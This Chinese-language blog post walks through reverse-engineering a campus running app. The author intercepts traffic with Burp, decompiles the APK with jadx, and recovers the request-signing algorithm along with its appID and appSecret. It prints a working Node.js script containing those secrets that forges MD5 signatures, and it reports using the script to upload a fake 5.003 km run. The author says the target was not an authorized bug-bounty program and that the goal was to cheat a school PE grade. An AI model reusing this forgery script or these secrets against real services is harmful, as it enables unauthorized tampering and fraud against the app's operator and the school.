APP渗透技巧 | 逆向app破解数据包sign值，实现任意数据重放添加
前言
登场的目标虽不是SRC，但是整个漏洞的利用手法很有学习意义。目前在很多大厂的http数据包中都会添加sign值对数据包是否被篡改进行校验，而sign算法的破解往往是我们漏洞测试的关键所在。
本人在一些漏洞挖掘实战中经常发现在破解sign值后，在测试各类越权，重放等漏洞时一马平川，今天特此为大家带来这样一个精彩的实战案例。
【学习资料】→私发
背景
学校每学期的体育成绩中会有10％来源于某跑步App的打卡数据，本人作为一个体测只能勉强及格的废物，自然得想办法拿到这10分，以防挂科
无奈这个app后台设置的是每学期男生总共要求跑120公里才能完整地拿到10分，非常恶心。一学期跑120公里，你还不如鲨了我，于是便有了此文对于其app的crack
初步测试
手机装好https证书，挂好Burpsuite的代理，随后我们直接去抓取该APP上传校园跑步数据时的请求
请求如下
我们发现单次跑步距离对应的POST参数为FormatSportRange，自然二话不说对其进行修改，将0.000修改为5.000
此时悲剧发生了，直接提示认证失败~
定神细看，发现POST数据末尾有sign签名….
此时老开发或老安全肯定就知道发生什么事了，为了让本文对新手友好一些，下面简单讲一下sign校验手法
何为Sign签名校验？
Sign签名校验法本质上是对客户端传输数据合法性的一种校验手段
其常用手法为，在用户客户端传输的数据中额外加上时间戳以及特殊字符，随后一起得出整体数据的加密值(常用MD5,SHA1等加密算法)
这就导致了用户在不知晓程序的原始数据生成sign值的方法情况下，若对传输到服务端的数据进行篡改，在后端都会鉴权失败，导致用户篡改后的数据无效。
sign值的安全对抗方法
针对有sign签名值的数据包，本人常用的测试手法有两个：
1.检测sign值是否为弱凭据
2.检测sign值是否可以置空
第一种类型通常有两种情况
①看sign值是否采用了一些弱加密/编码方法(例如base64)，我们解码后可以直接看到sign的原始数据。
②测试sign值是否为时间戳/随机数加密后的密文值，在一些实战情况中，很多厂商安全开发意识不足，会将sign值的算法直接暴露在前端未加密的js中，或者直接将用户进行某操作的时间戳进行md5加密后作为sign凭据，导致sign凭据在一段时间内可以通过遍历时间戳进行猜解
第二种类型就比较好理解，我们直接将sign参数以及值删掉，看后端程序是否可以不校验sign直接执行我们传输的数据
上述概念可能看起来比较抽象，下面我们继续来看本案例
二次测试
我们先尝试第一种方法，上方添加跑步记录获取到的sign值为
5ded7f11f080fb5a9d403c9d0963ebaa
拿眼一看，大概率sign值是使用md5加密的，我们随后对其进行解密
GG了，看样厂商的安全意识不算太差~没有使用时间戳或者随机数加密后的值作为sign，导致sign可以被无脑遍历猜解
随后我们尝试第二种方法，置空sign值
发现依然鉴权认证失败，gg了。
看样两种常规的对抗sign的方法已经废了，我们只能从app下手了，逆向尝试去寻找其sign的算法
逆向apk文件取得其sign值算法
拿到程序apk直接查壳，运气不错，apk没加壳，省了不少功夫
直接将apk文件拖到jadx中，对其进行逆向分析
全局搜索sign，在仔细挨个查看后，成功定位到了其sign生成的关键算法
代码过长，关键部分代码如下
可以看到，其sign值的签名算法为
创建一个链表, 将全部已有的参数加入进去, 然后再加上一些键值对(其中timestamp时间戳我们已知，appID，appSecret两个键值对我们均未知)
之后再将全部的键值对根据键的字母顺序进行排序, 之后使用 querystring 方式对键值对进行编码.
最后再对编码后的字符串求 MD5 值, 就是最终的签名了, 麻烦的一比
继续逆向apk文件获取未知键值对
我们继续来找appID，appSecret两个我们未知的键值对
发现其获取方法如下
①appID键值对的获取方法:
如果请求的url是 https://m.xxxxx.com 则为move，否则调用getAppId方法
后面我搜索了一下getAppId方法，发现其本质上是获取某接口openId的参数值，随后赋值给AppID
我去burpsuite走了一遍这个apk的业务，然后去http history搜索了一下openId,直接获取到了我们学校的openId参数值，也就是说我们获取到了AppID
②appSceret键值对获取方法
在jadx中提示appSecre键t对应的值来源于g.b，我们在import的包中成功找到了g.b（即appSecret）
Nodejs编写计算sign的Exploit
sign的算法已经有了，未知的键值对我们也拿到了，下面就是直接编写计算sign的exploit的时刻啦~
我们选择用nodejs来还原整个sign的加密算法(注意，我们将formatSportRange跑步距离改为了5.003)
var parseQueryString = function( url ){
var reg_url =/^[^?]+?([wW]+)$/,
reg_para=/([^&=]+)=([wW]*?)(&|$)/g, //g is very important
arr_url = reg_url.exec( url ),
ret = {};
if( arr_url && arr_url[1] ){
var str_para = arr_url[1],result;
while((result = reg_para.exec(str_para)) != null){
ret[result[1]] = result[2];
}
}
return ret;
}
var url ="www.xxx.com/index.php?userId=34263&runType=2&startTime=1635573372448&endTime=1635573425940&gitudeLatitude=%5B%7B%22latitude%22%3A34.383468%2C%22locationType%22%3A4%2C%22longitude%22%3A108.976148%2C%22puase%22%3Afalse%2C%22speed%22%3A0.0%2C%22time%22%3A1635573372480%7D%2C%7B%22latitude%22%3A34.383484%2C%22locationType%22%3A4%2C%22longitude%22%3A108.976155%2C%22puase%22%3Atrue%2C%22speed%22%3A0.0%2C%22time%22%3A1635573373314%7D%2C%7B%22latitude%22%3A34.383489%2C%22locationType%22%3A2%2C%22longitude%22%3A108.976155%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573378344%7D%2C%7B%22latitude%22%3A34.383408%2C%22locationType%22%3A2%2C%22longitude%22%3A108.976193%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573398400%7D%2C%7B%22latitude%22%3A34.383479%2C%22locationType%22%3A2%2C%22longitude%22%3A108.976152%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573418403%7D%5D&identify=12cc1557-f226-4d19-a01f-58f492620818&formatSportTime=00%3A00%3A01&formatSportRange=5.003&avgspeed=0.0&speed=0%270%22&okPointList=%5B%5D&brand=Xiaomi&model=Mi%2010&system=Android&version=10&appVersion=1.5.73&stepNumbers=%5B0%5D&isFaceStatus=0&points=%5B%5D&uploadType=0×tamp=1635573451940";
var obj = parseQueryString(url);
//console.log(obj) //querystring序列化
const crypto = require('crypto')
const APP_ID = "ec74df4f7ea14f1fa585bbc9f936fc23"
const data = obj
console.log(data)
const timestamp = '1635573451940'
function ff(data, timestamp, appId = APP_ID){
const d = { ...data, appId, timestamp: '1634356066432',appSecret: 'e8167ef026cbc5e456ab837d9d6d9254' }
const ans = crypto.createHash('md5').update(Object.keys(d).sort().map(k => k + '=' + d[k]).join('&')).digest('hex')
console.log("sign is",ans)
}
ff(data, timestamp, APP_ID)
```
大功告成，我们成功序列化queryString后计算出了sign值，我们现在可以篡改任意数据并根据算法生成伪造的sign值
测试
我们将原来的formatSportRange跑步距离改为了从0.000修改为5.003，并使用程序生成的sign值
如图，大功告成，跑步记录保存成功，我们成功使用伪造的sign签名增加了一条5.003 km的跑步记录
返回app查看~
后言
遇到可能的漏洞点莫要轻言放弃，再坚持一下，曙光就在前方~
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